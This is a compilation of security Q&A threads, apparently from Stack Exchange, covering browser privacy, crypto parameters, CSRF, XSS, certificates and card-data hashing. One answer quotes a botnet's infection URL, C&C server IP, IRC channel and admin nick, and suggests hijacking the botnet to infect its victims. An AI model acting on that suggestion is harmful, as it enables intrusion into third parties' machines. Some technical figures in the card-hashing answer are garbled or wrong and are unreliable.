How secure/private is the browsing history on browsers? I've been using Aviator secure browser for a while which insists that you run private mode by default (cookies and history wiped after every session), which makes me wonder how secure the history is in other browsers? Is it really necessary to wipe your history since nobody except you should have access to it or does your browser share your history with sites you visit, like it does with cookies?

So I guess my question is how vulnerable your history in your browser is for outside attacks. Is it private (only viewed locally) in most cases?

Aviator has had actual security (not privacy) issues and is nominated for this year's Pwnie awards.

In general, browsers will not share your history with websites you visit. There have been vulnerabilities in multiple browsers that would allow a website to get your browsing history or guess if you have visited some specific websites or not.

The vulnerability above could not have worked when using private mode because that instance of the browser didn't have access to your browser history.


Is this prime number large enough / too large for a Diffie-Hellman for AES-256? I'm using a Diffie-Hellman key exchange to encrypt data using AES-256. The prime number I'm using is the one from the 8192bit group specified in RFC 3526 (page 6).

Page 7 suggests that, with a 620 bit exponent, that's an equivalent key strength of 310 bits, so, large enough for AES-256. It also suggests that the 6144bit prime with a 540 bit exponent would be good enough (270 bits).

Now, both of these are rather slow. The larger one results in the exchange taking about two seconds in my scenario.

My question therefore:

Am I being ridiculous? Should I use a smaller prime, maybe even AES-128 with the 2048 bit prime and a 320bit exponent? Did I maybe misunderstand something entirely?

For context: Speed isn't all that critical. I need this encryption to be very strong for about the next 10 years (at the very most). If that takes two seconds to do, so be it.

AES-256 and a 8192-bit DH modulus are both overkill. Comparing them with each other is a delicate exercise which verges on the meaningless, since both are quite far into the realm of "can't break it now, can't do it in 30 years either". You can have a look at this site for information and calculators on various ways to estimate relative strength of symmetric and asymmetric algorithms.

Practical parameters which can be recommended now for proper security are AES-128 and a 2048-bit DH prime modulus (with 256-bit exponents).


Why is Un1c0rn exposing wget on heartbleed? What's the point of spotlighting wget on heartbleed dumps?

I'm specifically talking about this which is the first page of wget occurencies in heartbleed dumps.

They put this page as a link on the top of the main page like if that is relevant in some way.

I can understand the reason behind exposing email= and password= and bitcoin and so on, but what about wget?

Is it because it might reveal system paths or potential RCIs, or is it because it exposes a system with heartbleed and thus wget - which is shown to be used - is also vulnerable to it?

All the links that were up there weren't necessarily security issues.

That wget for example was highlighting bots crawling webservers and giving security researchers some fresh blood to start looking for a C&C ;)

More details :

The bot are crawling internet like us, here when you see a wget ( http://un1c0rn.net/host/195.154.5.171 ) after an HTTP header, it means the bot tried to execute PHP code by injecting it in the request on the target system.

This code gives you the remote location of the script suposed to infect the machine and gives you some useful information to start a new hunt ;)

Here you can see the infection script is there :

hxxp://208.85.177.238/.x/hb/php08

And here are the information related to that botnet :

$servidor='194.24.228.203' unless $servidor;
my $porta='443';
my @canais=("#allornothing");
my @adms=("Kelevra");

You could be nice and track the flithy mofo ...
You could be bad, and take that IRC room, and even without knowing the password for the botnet administration, list IPs, infect the machines connected to the IRC channel like they were infected in the first place by the botnet and thanks the botnet for all those vulnerable hosts just given to you.


Can a Certificate Authority associated with Active Directory publish a client certificate to a browser? Can I use some integration of Windows Active Directory and a Certificate Authority to embed a client certificate in a browser that will be trusted by a server?

I have a private domain and control over who can login. Is it reasonably possible and secure to have, upon login, a client-side cert installed such that the browser can take advantage of it and provide it when logging into specific sites (also on my network).

You can use Group Policy to install the certificate on the client machines.  You will need to bind the certificate to your site through IIS/Apache to complete the process.  Keep in mind that you will need to ensure that your internal CA is trusted by your internal clients.

I think this is in fact reasonably secure, and one of the use cases that Certificate Services was designed to accommodate.

Here is a link from MSDN detailing the specifics of implementing such a system: https://msdn.microsoft.com/en-us/library/bb727098.aspx


Does user-agent session tracking provide any benefit? On a phpBB forum I manage a user has requested that we turn off the "Validate browser" setting which invalidates user sessions if they change user-agent, because they use a mod which randomises their browser's user-agent.

Does tracking and requiring the user-agent to match give an actual benefit to security?

Including the user-agent in the session provides some rudimentary protection against session hijacking. This means if the attacker somehow got access to the session cookie he cannot just simply use the cookie in some random browser but must use the same browser, version, subversion etc as the original user - or at least know what the original user-agent value was and make the own browser use this.

If the session id is stolen by sniffing (unprotected) traffic then the user-agent is easily available too within the sniffed data so it can be perfectly faked. If the session cookie is instead stolen by XSS or similar (i.e. cookie was not set to httponly) the exact user-agent is not immediately known but can be retrieved with some tricks too (see comment from @multithr3at3d on this answer).

Thus, including the user-agent into the session cookie will not provide relevant additional protection if your site is HTTPS only (or at least the cookie, i.e. has the secure flag) and the cookie cannot read by XSS (i.e. httponly flag), which are both things you should do anyway.


What danger can brief LAN access to my router cause? Today someone claimed to be a technician of my ISP and to take care of connection problems on our block. He entered my apartment and briefly (~3 s) connected a small box (size of a raspberry PI) with some LEDs to my router's LAN port claiming to do some measurements.

After that, he started asking questions about how many people live there and what my occupation and income is. At this point, I realized that he was checking out if the apartment is worth a robbery. I took proper care of that threat.

However - can my router be compromised? After all, those are default Linux machines probably having some open ports.

Edit: I changed those passwords the router offered me to change: WiFi and the settings page accessable by browser. I did not change anything that requires in-depth knowledge.

Hard to say without knowing exactly what was done, but if it is a wireless access point router with a WPS button, I'd be concerned that the intruder used the WPS button to authorize his device to connect to your wireless, then sat in his car on the next street out of your line of sight with a device connected to your net. Now the intruder can take plenty of time probing all your devices for vulnerabilities, etc.

Also, your windows file sharing and such is usually fully enabled on your internal net, and one doesn't usually think about share and file permissions too much because it is not accessible to anyone except you and your household members..... if the attacker has a device on your internal net, he can grab your files if they are not secured well.

Perhaps he has also gotten into your router's admin page (most people leave it with the default passwords -- again relying on the fact that only trusted people within the household could even get to the page). Once in your router's admin settings, he is likely going to reconfigure your DHCP server to hand out DNS server address to your devices which points to a DNS server that the attacker has stood up in order to redirect access to real sites like gmail, facebook, etc. which send you to fake sites that look like those sites login page but the credentials you enter are captured and sent to the attacker.

He would also likely reconfigure your firewall to allow himself to come in from the public Internet into your internal net.

These are just  a few thoughts of what this person might have been doing. I would look very closely at every device connected to your network, and verify every single one, and I'd check that very frequently to see if anything else pops up. Check all your settings to see if anything changed, paying particular attention to DNS addresses and your firewall rules. I'd change the router password and the WIFI SSID and secrets.


ProtonMail: Wouldn't it be better if each user had their own private key? ProtonMail keeps the encrypted private keys of all their users on their servers. The mailbox password, which is known only to the user, decrypts the private key of that user.

Would it not actually be better if each user had control of their own private keys?

Important facts to consider:

Users are trusting ProtonMail to keep their encrypted private keys safe. In a pure form of public-key cryptography, this would not be the case. Each user would be responsible to keep their private key safe or secure (for example in an encrypted USB key).
In a traditional PKI infrastructure, there will never be a place where all private keys are stored in a single database (even if they were encrypted).
An offline dictionary attack can be launched against any encrypted private key, so a mailbox password = a private key. Keep in mind that most people do not choose strong passwords, therefore it creates a false sense of security for many.
User doesn’t have control over their private key: they cannot extract it, save it separately, nor can they decide to remove it from ProtonMail’s servers if they wish.
User can place their private key on an encrypted USB key, making it “something they have”. Passwords are something “they know”, and as such could result in weaker security.
How can having to enter two passwords in a row (login + mailbox password) be labeled or considered to represent a public key cryptography scheme?  Would not protecting a PKI with a password be considered in a way to be counter-productive?

This question is not about AES encryption for a simple reason: The password is as strong as itself, not as strong as the encryption used behind it. The classic example of a password of 1234 is just as weak if AES256 was used or DES.

Hushmail does something like this (or used to).   The private key was stored locally and the website would send a Java applet to handle encryption/decryption and signing operations.

It would protect you against the vector you describe... but... the whole model of a web application handling PGP has serious limitations.   When you log on to the compromised site, your key can still be stolen.

The service was tapped by law enforcement with a warrant:

https://www.techdirt.com/articles/20071108/093110.shtml

I don't know if they still support the Java applet method.  They added to the case: "Hushmail stated that the Java version is also vulnerable, in that they may be compelled to deliver a compromised java applet to a user."

http://www.ghacks.net/2013/08/09/hushmail-why-you-should-run-the-java-version/

It's best to manage your software and keys locally.


Is it safe to store my login credentials in a Veracrypt volume? I have a list of login credentials (usernames and passwords) that I wanna keep safe. I'm planning to keep it in an encrypted Veracrypt virtual drive with AES, SHA-512, and an 8-character password. Is this safe?

"Safe" is relative. In general Veracrypt has a good reputation and supports strong crypto.

Assuming reasonable use, your weakest link is your stated 8-character password.

It may be safe enough depending upon the password and the expected threat, but why limit yourself to an 8-character password?

Veracrypt supports "pass phrases" up to 64 characters. You can make an easy to remember multiword sentence that is potentially much stronger than 8 characters.

 *Granted it's always possible to make poor passwords and phrases.*

Additionally, Veracrypt supports a user custom PIM (Personal Iterations Multiplier). This creates an alternate iteration count from that of the default, which means brute forcing has to account for the custom PIM as well as the password/phrase. Of course this also means you have to remember this custom PIM as well.

If for whatever reason you feel you need to use only an 8-character password, I'd suggest also using a custom PIM.


Microsoft SQL server 2000 sp3a - isn't it oudated? I just noticed that many servers use Microsoft SQL server 2000. But isn't 2000 outdated by 2003? Why are people still using 2000? Would there be any serious security vulnerability by using Microsoft SQL server 2000 sp3a? (MSSQL 8.00.766.00)?
What would be the point of running SQL server 2000 in Windows 7 enterprise?

There could be a few factors.

Like ekaj stated, price could be a prohibitive factor as some companies might not be able to afford or justify the cost of upgrading to the newer version, particularly if they do not take security threats seriously.

Another factor could be the need for backward compatibility. I do not have experience with the Microsoft SQL server, so it might not apply in this particular case, but sometimes upgrading software can break compatibility with existing products/solutions. The company in question might not have the people with the right expertise to ensure that the upgrade does not have any compatibility issues.

A quick search of CVE databases turns up a few potential vulnerabilities which may or may not be serious enough to warrant an upgrade.


Are XSS attacks possible if access to content generated by other users is restricted? Is an XSS attack possible on a website in which all the user generated content sits behind Auth and all content is only and strictly only shown to the user that generated it in the first place?

No user generated content is ever shown to other users in its raw form, not even the admin. It's always aggregated stats and never a string.

tl/dr: Yes!  Defense in depth is critical, so any XSS vulnerability is
a vulnerability that needs to be fixed, regardless of whether or not a
method of exploit is immediately obvious.

The Underlying Question
Whether intentional or not, there is a question behind your question that is much more important to answer.  In essence what you are really asking is:

Do I need to worry about XSS if an attacker can't take advantage of
it?

The answer to that is simple: you need to always worry about XSS.  Any XSS vulnerability is a danger and, once known, should be fixed in accordance with best practices.  This should be taken as a given even without considering specifics of your particular case.  The reason is because web applications are rarely static.  They change often and quickly.
Something starts life as an admin-only feature, so the developers decide to not worry about security.  Six months later a change request comes from management and they want to share part of that feature with customers.  The original developers are busy with something else and the new team doesn't notice that there is no XSS protection in the feature at all.  As a result, when they push it out to everyone, the application gains a glaring XSS vulnerability.  Stuff like that happens all the time.  As a result, it's critical that basic application security is properly executed everywhere.  The insecure-but-private applications of today invariably become the insecure-and-public applications of tomorrow.  This will happen to you.
Finally, defense-in-depth is critical.  Many real life breaches happen because an attacker finds one weakness that allows them to exploit another weakness, which leads to another weak spot, that finally leads to something juicy.  "My user's only ever see their own data, so XSS doesn't matter" works perfectly fine until an attacker figures out how to inject data into another user's session.  The lack of XSS protection will then allow the attacker to gain full access to the other user's data and presumably take over their account, while having XSS protection in place may have instead completely thwarted the attack.
Some Specifics
So, are there any ways in which an attacker may inject data into another user's session?  There probably are!  In particular:

Reflected XSS (Steffen already touched on this)
CSRF is a major concern: if you have an endpoint with a CSRF vulnerability, an attacker may be able to trigger a CSRF attack on another user's account, store an XSS payload in their data, and then use that XSS attack to compromise the user's account.
SQLi: An attacker may be able to take advantage of an SQLi vulnerability to execute a stored XSS attack against all users' accounts, compromising everything.

That last one may seem like a bit of a stretch (simply because an SQLi attack is usually a severe problem on its own), but in the case of a write-only SQLi vulnerability it is a legitimate concern.
Summary
Having siloed user data isn't sufficient reason to be able to skimp on basic application security, because it rests on an assumption: that user's can never access each others' data.  That assumption rarely holds true.  If there is no XSS protection in place than an attacker only needs to find one vulnerability anywhere that allows them to inject data into another user's account in order to take it over.  However, if you practice proper security everywhere, then an attacker will have to find a vulnerability that allows them to inject data and find a vulnerability that allows their XSS payload to execute.  This is a much harder task and will make your users much safer.


Geographic equivilent of RFC 3161 (X.509 PKI Time-stamp Protocol) First time poster here, hope to be around more often.

I'm in need of a cryptographically secure 'stamping' system that allows not only time but also location to be attached to data, while still resistant to forgery. However, short of altering the very GPS protocol itself, I can't think of a way to do it!

It may be entirely a lost cause here, but is there a way that I may not have heard of/thought up in which this could be achieved? Maybe something along the lines of how RFC 3161 works?

Your thoughts, comments, even crazy ideas are all much appreciated!

TC

Clarification (as below): Sorry about the question vagueness. I'm meaning for, say, a mobile device to attain a 'geostamping signature' of sorts cryptographically proving that the device was at "lat x long y" coordinates at a specific time T when it sent some message m to a central server, similar to how you can currently prove that m existed in a certain state at time T by hashing it and sending the hash to a timestamping service. I can see how that was badly worded, I'm sorry!

The question requires some effort at precise definitions.

Time Stamping is about proving the existence of some information at some date T. Data is just a bunch of 0 and 1, which have been known for millenia, so we need to define what we mean by: "some information which exists". We thus consider the notion of a message: a sequence of bits, with a beginning, an end, and precisely defined contents. A time stamp proves that at some date T, someone was envisioning said sequence as a whole.

In the case of RFC 3161 time stamps, this "envisioning" takes the form of a digest, computed over the message with a cryptographically secure hash function. The time stamping authority (TSA) receives the digest and computes a signature over a structure which contains the digest, and the current date and time (as the TSA knows it). Note the fine print: the TSA does not see the message itself, only a hash thereof; and the TSA has no way of knowing whether the hash value was really obtained from an invocation of the said hash function.

So the precise model is the following: as some date T', a message m and a time stamp are presented; the time stamp contains the date T and h(m) for some hash function h. This proves the existence of m at date T on the assumption that h is pre-image resistant: if h(m) existed at date T then m existed at date T since pre-image resistance means that it is not computationally feasible to find a m which matches a given pre-existing h(m). Also, the TSA must know the current date and time, and hold a private key, in ways which are resistant to tampering.

Location Stamping thus requires a definition of what you mean by "where the data is". In the case of time stamping, we rely on "envisioning" incarnated by the computation of a hash function over the message. Since data can be copied at will, it has no defined unique location, and is not inherently tied to a geographical place.

The GPS protocol is mostly irrelevant here. It is a one-way protocol: the satellites emit, but do not receive; and the sent messages contain no information whatsoever on where anything on Earth is actually located. Location is computed from the time of reception of the messages from several satellites (actually, the precise time lag between messages from pairs of satellites). The only locations that the GPS protocol really defines are those of the satellites themselves. So the information you want to certify, in a TSA-like way, is that you received some GPS messages with a specific lag. But a proof cannot be based on taking your word on it.

Therefore, the best you can hope for, is to have a device which:

is tamper-resistant;
knows (in an unforgeable way) its current location, as well as the current date and time;
stores a private key for a signature algorithm;
can receive an arbitrary message m;
computes a signature over a structure which contains the current device location, the current date and time, and h(m) for a given hash function m.

It is important that the device receives m and computes h(m) itself, because you want to prove that the message m itself was at a given location. Also, verification now relies on collision resistance of h, instead of pre-image resistance (with a collision between m and m', the device would receive m and this proves nothing on where m' is at the same time).

There are practical issues. A TSA can be located in a secure environment, e.g. a guarded building; it receives requests and sends responses over some network. A location stamping device, on the other hand, must be "on the spot", and thus much more likely to be in an attacker-controlled environment. In particular, nothing guarantees that it receives real GPS messages at exactly the right time. To change the notion of the current location, the attacker just has to "delay" a bit some of the messages from the GPS satellites; since the GPS protocol is one-way, there is nothing which can be done against that at the protocol level.

Another solution implies using a mesh of base stations which receive a signal from the device you want to locate. The location stamping device would still hash the message, and then sign it, and send the signature to (secured) base stations. This would require a two-way protocol, so that each station could measure the precise time it took for the device to respond to a request. For instance, if the device takes precisely 5.12 ms to compute a signature, and the response from the device took 5.30 ms to be received by the station, then the station knows that the device must be within 27 km of the station (information travel is limited by the speed of light, i.e. 300000 km/s, and a roundtrip of 0.18 ms cannot be achieved if the total distance exceeds 54 km).

A mesh of base stations talking to a device: this looks like a "mobile phone" situation. But this solution requires specific stations able to time things down to the microsecond, for a mediocre final precision.

Summary: this looks hard.


Check whether a printer keeps a history of printed documents Are there resources to determine whether a consumer grade printer has some internal memory that stores the contents of printed documents, and/or information how to securely delete any such memory?

Best resource would be to ask the manufacturer. How much printers cache and how they secure it varies widely.

For Consumer grade hardware, there is unlikely to be a mechanism for securely wiping the contents provided, since consumers don't need such a feature, so probably you'd need to look at physical destruction.


Is the core idea behind CSRF protection that the hacker doesn't know the token value? I'm trying to fully understand the concept behind CSRF, and more importantly, how to protect against it.

Can I assume, using only CSRF, so no XSS or other techniques, a hacker cannot know the value of the random anti-CSRF token I insert into the page?

Your understanding is correct.

Background

The simplest way to think of a CSRF attack is that your browser has two tabs open - Tab A:  www.mybank.com and Tab B: www.attacker.com.

(As @Alex points out in comments, multiple tabs are not necessary; the important part is that your browser has auth cookies for mybank.com in memory. CSRF can equally happen if you were on mybank.com earlier and then without logging out, browse to attacker.com)

Cookies

Historically, it was common to store your auth / session token in a cookie. This is convenient for pure HTML pages (ie no javascript) because when you send a request to www.mybank.com, the browser will automatically attach any relevant auth cookies -- no action required on the part of your HTML page in order to maintain the session. CSRF is an attack on cookie-based auth tokens: if Tab B (www.attacker.com) sends a request to www.mybank.com, the browser will automatically attach the authentication cookie, ie Tab B can send requests as if they were logged in to Tab A.

Solutions

You need to put your auth / session token somewhere that's not a cookie. Remembering that Tab B can't see any of the content in Tab A, there are any number of places you could put the auth / session token:

somewhere on the HTML page (maybe in a hidden HTML element),
or in a non-cookie HTTP Response Header,
or if this is an API then you could put it in a token: ___ field of the JSON body, etc.

It really doesn't matter where, so long as it's not in a cookie.

For completeness, I'll add that your anti-CSRF token needs to be long and random enough to prevent the attacker from guessing it. For example, if you use the same anti-CSRF token for all users, or you derive it from the user name, then it doesn't matter that Tab B can't read the content of Tab A because they can guess the token and include it in their blind CSRF request.

References

OWASP Cross-Site Request Forgery (CSRF)
OWASP Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet


Internet courtship: Why would a hacker buy me poker chips? Believe me, I never expected to ever write a title like that on a Stack Exchange site either!

Yesterday evening I got a call from my mother. She is quite tech savvy and generally knows her way around spam and viruses. However, yesterday she was startled: she got an email from Facebook thanking her for her purchase of 40 dollars worth of poker chips in the Facebook game TexasHoldEm. She was ultimately sure she had never done a purchase like that, but she was worried she had lost money one way or another.

The email seemed genuine. Logo, text, sender, and links all pointed to genuine Facebook resources. I decided to take a look and followed the link to the 'receipt'. A payment overview at Facebook.com opened and everything was documented as the email had stated: her account had acquired 40 dollars worth of poker chips in the app (game) TexasHoldEm. Surprisingly, though, those chips were paid with a PayPal-account registered to an email address we have never heard of:

givenName.LastNameNumber@web.de

This is odd for two reasons: we live in Belgium, but have no relation, friends, family or otherwise, in Germany. Second we know no one by that name either.

At first I thought it may have been an error on that person's side, or that it is simply possible to 'donate' chips to someone else's Facebook account. But this would allow app developers to spam people who had never used their app with free gifts, so this seemed unlikely.

I then checked her account's recent activity, more specifically the 'recent sessions' tab. To my surprise there was indeed an active session in Düsseldorf, Germany. As a panic attack, I immediately ended that session. Unfortunately that also hid the information about that session. For me this meant only one thing: her account must have been hacked, as she hasn't been to Germany and there is no way there could be an active - poker-playing - Facebook instance there.

In light of this, I urged her to immediately change her password. After that, Facebook seems smart enough to know you made the change because you thought something was wrong: it proposed to go through her recent app activity and post and possibly deleting strange behaviour. Indeed, the app TexasHoldEm had been used, and there had been four posts (of the app on her behalf) that she had been playing the game - going back one whole week.

As a conclusion I would think that someone hacked my mother's account, played poker on it and paid for chips him/herself and ... That's it. Maybe I am getting old, but isn't this weird behaviour?

Why would a hacker do this: hack some one's account, buy poker chips with their own PayPal account, and play the game? And how can I better protect myself against such 'attacks'?

The poker chips were for Zynga's Poker game on Facebook. As has been mentioned in the comments, you cannot withdraw won money from this game. This is valuable - and intriguing - information which makes understanding the hacker's motives even harder.

I interpret your question as:

  What's the motivation for someone to use an alien Facebook account to play poker and stock it with chips?

It's not that strange if you think about it this way:

As poker is a game where knowledge about the dealt cards gives you a significant edge in the game, you'd like to use sock puppets at a table to know more about the card distribution.

Thus, using sock puppets that are valid, active - real - Facebook accounts are the only way to gather more information without being spotted easily by heuristics.

Düsseldorf is where one of the big data centers in Germany is located, so there is a good chance that session was held by a bot on a server, not a real person.

Using two or three such bots on a table that are connected gives them a significant statistical edge to beat the other - real - players.

This (collusion) is probably illegal in most poker games and thus real accounts are used to make detection hard. Also, that's probably not the attacker's real name, their mail address and/or PayPal account.

It is probably the account of another victim of identity theft.

In the light of the other answer, I assume that Facebook handles the legal things when you marked the activities as fraudulent.

Update for modified question:

As there seems to be no real money gains involved in this poker game instance, there is another valid reason to use your mom's account:

Because it offers anonymity. If the stolen PayPal account owner tracks the usage down, it'll be your mom as a suspect, not the actual hacker.

Using real, alien Facebook accounts offers another layer of protection with respect to law enforcement.

There still remains the question of how the account was taken over. There are questions here that might answer that.

If your mom does do password reuse, you might educate her about the implications and urge her to change all passwords and use different, strong ones for all accounts.

This would be a good time to introduce her to the famous xkcd about diceware and/or a password manager, as David suggested in the comments.

Also, as S.L. Barth suggests in the comments, using two-factor authentication wherever possible is a good call in any case.


What shoud I do for solving this problem ? Problem is about SNORT Snort, daq and WinPcap are installed. The rule files are located at a convenient place. How can I solve this problem? A clue is the ERROR line: Missing/incorrect dynamic engine lib specifier.

It appears you have to edit the specified configuration file C:\Snort\etc\snort.conf starting on line 245 to add the correct paths to the .dll files.

I found a video that explains the fix to your problem starting at the 7:00 minute mark on YouTube: https://www.youtube.com/watch?v=_ic07nBoweg

This video shows how to set up and fix Snort, including the error you are experiencing.


Autofill on (untrusted) websites Consider a website using https which presents a login form on the home page. Today I visited such a website, which I have a login and password for, and for the first time I was presented with a warning about an invalid SSL certificate, in this case because of a slightly different domain name on the certificate (e.g. stack-exchange.com if I had been visiting stackexchange.com, without knowledge of whether one is an alias of the other).

I notified the website administrator via another route and do not intend to log in (or fill in any other details) until the certificate problem is resolved. However, after seeing the warning on the SSL certificate, I clicked through to see whether the site appears to be the same.

The page looked normal and Chrome's autofill feature automatically filled in my username and obscured password.

If the site had been intercepted/replaced by a malicious party, would that party be able to gather login information from autofill without the user clicking to login?

This behavior will likely vary by browser.

With regards to Chrome I believe (at least for passwords) these values are displayed as entered but are not initially available to Javascript provided by the site. The moment you interact with the page (like clicking anywhere inside of it) it is.

I believe for IE / Firefox (as of late last year) the values were made available immediately so would suffer the issue you stated.


Common Encryption types with keys stored in Base64 I am a noob :)

I am attempting to recover a password from a piece of software. The software has a XML file contains three fields that appear important to this process: Password Value, EncryptionKey Value, and PasswordEncoding Value. PasswordEncoding Value is set to 12000 (in case that helps).

The other two fields appear to be base64 strings that, when decoded, seem to be nonprintable characters.

I want to use Python to try to find the type of enc used in hopes of decrypting the Password Value field. What are common types of Encryption that would store data in base64 in a xml file? This is from a Windows app.

Thank you

Encryption is a mathematical operation which scrambles your readable data into unreadable data. To make the resultant ciphertexts less predictable, algorithms have to ensure that the entropy is high.

In other words, if you take a large plaintext sample - for example a wikipedia article, the number of occurrences of 't' and 'e' would be considerably high and that of non- printable characters would be  almost nil. If a substitution cipher (a for c e for b etc. Caesar ciphers, rot13 etc. ) is used an attacker can use this knowledge to retrieve plaintext from ciphertext.

The outputs of modern ciphers such as AES would be so random such that there is no one to one character mapping possible. This can be cumbersome when your application has to handle it as a string. So they encode the ciphertext to base64 strings - to make it printable.

In other words, just because the ciphertext or key is encoded in base64 you wont be able to predict the cipher suite.


Credit card storage, hashes, truncation, encrypted data I'm trying to figure out a way to meet multiple business requirements that don't seem to go well in hand in terms of security:

store encrypted card data associated with customer accounts for recurring payments
store salted hashed card data to facilitate encrypted card lookup
store truncated card data to facilitate customer service transaction record searches

As far as I know, I can reasonably do the first 2 securely, but if I add the third item, I suddenly compromise the security of my storage.
explaining link

I was wondering if anyone had had this problem before and could point me in the proper direction of a solution. I was thinking a salted hash of the truncated number could maybe do the trick. Any thoughts?

On a credit card, you will typically find:

the number, typically 16 digits;
the expiration date (month and year, usually within the next two years);
the card holder name;
the security code (3 or 4 digits).

The trouble with publishing hashes of such information is vulnerability to exhaustive search: the attacker tries all possible combinations, until one matches the hash value. There are two ways to defeat such attacks: by keeping a large number of combinations, and by making the hashing process itself slow.

Slowing the hash requires using a salt (to prevent parallel attacks and precomputations), and making many nested iterations (as much as possible, provided that the overhead is tolerable for your system). There is an art to that; a careless handmade construction may be quite weaker. This part is very similar to what is done for passwords, so let's cut it down to the usual recommendation: use bcrypt. A good GPU can evaluate a 32-bit hash function like SHA-1 about one billion times per second; but by configuring the "cost factor" of bcrypt you can bring such a figure down to, say, 100 times per second, without overloading your own system too much.

Now let's see about the number of combinations. The card holder name can often be guessed, because in a merchant site database you will also record the user name and possibly a delivery address. The expiration date is within the next two years (or so), hence 24 possibilities. The card number usually begins with a 4-digit identifier for the bank, and ends with a checksum digit which is deterministically computed from the 15 others. Assuming the attacker will try, say, about ten distinct banks, you end up with about 1011 (aka "a hundred billions") possible card numbers. However, if the "truncated card number" contains, say, 8 digits (the first and last four digits), that number is reduced to 108 (one hundred millions).

If you use bcrypt and attack can go only at a rate of 100 tries per second, then the attacker will need an average of half a million seconds to find the card number (that's about 6 days). This may be viewed as "sufficient" because the resale value of a stolen credit card number is not high (I think it is around 10$ at most). For increased resilience, do not hash the lone number, add the expiration date (x24 on attack cost) and the security code (x1000).

So, to sum up:

use bcrypt with a high iteration count (and don't fumble on the salt);
put the expiration date and the security code in the hash input;

and you can resist the weakening induced by the storage of truncated card data.


Subdomain api.domain.com - more vunerable to attacks? I am in the process of setting up an api which will have the subdomain "api.", I have been advised to change this to something "less obvious" to avoid automated attacks against it.
I can't find any advice on naming subdomains to avoid attacks and from a business perspective the benefit of this approach is alerting non-tech professionals that we have an api.

Is this legitimate advice which I should seriously consider or is this something that will yield little to nothing in the way of security?

This is something that will yield little to nothing in the way of security.

The subdomain will still be leaked:

In your client that uses the API. To connect to the API the client has to have the correct URL, and someone with the client can extract this URL.
In plaintext traffic when using SNI (Server Name Indication). The subdomain is sent plain text before setting up an encrypted connection, in most cases.
In certificate transparency logs. If you request a HTTPS certificate for your domain, the domainname will end up in a public log.


How to Develop Waf as Service Recently, I've started a my educational project WAF as service. To develop this project as per my view, following things are required:

Web Application Firewall is in-line with the web servers; it intercepts and inspects incoming and outgoing traffic, preventing attacks from reaching the web servers and preventing the leak of sensitive data to the requesting clients

Proxy Server
Detection Engine
Signature for detecting malicious requests

Client ---> WAF Server ---> Origin Server

The idea is that my client will be just adding A records to his domain name and traffic will be forwarded to my server and once it is filtered, it will be sending to original server.

My question, first, please provide me some pointers to implement this server which will forward request to the original IP address of client.

Second, How  can I handle nameservers ? As they will be leaking orignal IP address of the server. Then it will be easy to bypass the WAF.

regarding question 1:

You can setup most webservers as a reverse proxy(IIS, Apache, Nginx and even NodeJS all work). IIS and Nginx are preferable(but not necessary) as they are faster(just my opinion - this may not always be true).

Instructions for setting up IIS as a proxy can be found here

Instructions for setting up Nginx as reverse proxy

there are also ready made WAFs out there in the form of VMs which you can use. barracuda is one example(seems to use Nginx under the hood)

regarding Question 2:

you can do two things

make sure that the webservers only accepts connections from the public ip of your web proxy.
the webserver will only allow connections after validating the Client certificate of the proxy SaaS. requires TLS and also the web servers should implement client certificate verification.
use a Tunnel(VPN) between the webserver and the proxy and hide the webserver from the rest of internet

hope it helps.


Why a self-signed digital certificate (X.509) cannot be altered? I'm not experienced in code signing but I was thinking about this: as you know, there are various tools for self-signing digital certificate generation (as makecert from Windows or OpenSSL). Now, It would be great if a malware developer could sign his malware's code from a trusted CA. He can only sign it in two ways:

Pays a trusted CA to generate a certificate with wich he will sign his malware;
Creates a self-signed certificate where, for obvious reasons, the authority that release the certificate is equal to the subject's name

Particularly, the second point regards my question: if the algorithm to generate a digital certificate is known, I could write my own certificate generator to sign my application, where the Issuer is a well known CA's name; then I add the newly generated cert in the Trusted Root Certificate Authority (in Windows OS). Now, when someone opens the application, the certificate is installed in the TRCA and then the malware starts. The malware is signed from the certificate that has just been added and it seems that it comes from a well known source due to the CA's name. I know that, if it could be possible, the CA and all the cryptography stuff wouldn't exist and it would be very simple to generate a certificate on my own where the releaser is a CA. So my question is: why there's no way to generate a self-signed certificate where the Issuer is different from the Subject?

Yes, you can make a self-signed certificate with any subject name you want.  It's easily doable with free tools.  Getting a signing certificate with a fake subject name signed by a truthworthy issuer is another story - they take verification of identity fairly seriously.

Another thing that isn't easy (in fact assumed to be impossible) is to figure out the private key of the legitimate CA.  So if you are faking a CA, you'll most likely end up making up a new public/private key pair and signing that.  Any entity that explicity trusts a specific public key will NOT trust your fake CA (true for the MS certificate store).

What you cannot do - easily - is modify the Trusted Certificate store on a computer that you don't already have access to.  This isn't an operation that is available from most web browsers - it takes at least user-level access, although some operating systems can be restricted further to administrator level access.  In essence, to extend the realm of trust, you yourself must be trusted.

Which begs the question - if you've gotten access at this level to a machine - why bother signing the malware?  Just install it and save yourself the headache of doing code signatures.

There, are, however two really interesting attacks in this area:

Social Engineering - in many cases, when a user is browsing, the browser will prompt the user when an unknown CA is encountered - the user is asked to explicitly trust the signer, and if the user has the capability, the option is there to install the CA certificate as a trusted CA.  So... there's all sorts of ways of setting up a site to helpfully advice the user to trust you.
If it's not validated properly, you have a problem - the big famous one was FLAME, which used a fake Microsoft signing certificate - it wasn't validated properly and many servers did, in fact, upload malware.

Not the easiest attack - you really have to know a product and how it's doing certificate validation to get something like this through - but bad design/implementation can lead to flaws, so it's mostly about how  much time the attacker can spend to find the hole.


Danger of browser extension without any permissions? Assuming that an extension for Firefox or Chrome does not request any WebExtensions permission, what harm could this extension do?

Or put another way: What (potentially malicious) actions can an extension without permissions perform that an ordinary website could not do?

This is surprisingly difficult to find information on.

By default, extensions are subject to a Content Security Policy (CSP) of:

"script-src 'self'; object-src 'self';"

In this case, the self keyword refers to the extension package, and hence they can access any files which are included in the extension package itself. This strongly suggests that extensions cannot access any scripts which are hosted elsewhere, without the default CSP being overridden. Similarly, they can't run scripts using eval without explicitly allowing it.

This does not actually require a permission though, so, in theory, given a self-contained JS flaw which can compromise the browser, an extension with no permissions could execute arbitrary code. This is of limited benefit - such a flaw would presumably work from a web page as well, so it doesn't meet your requirement.

Based on the repository of example webextensions, explicit permissions are not required to change the style of a specific site (e.g. the borderify example), the text content shown to the user (e.g. the Emoji Substitution example), or to copy data from pages to system clipboard (election-to-clipboard example) - the clipboard example does require the ability to "Access your data for all websites", which is implicitly granted by the content_scripts value <all_urls>.

It is therefore possible to see some potential malicious actions, although it does appear possible for sites to block these (see the notes about addons.mozilla.org disallowing content scripts):

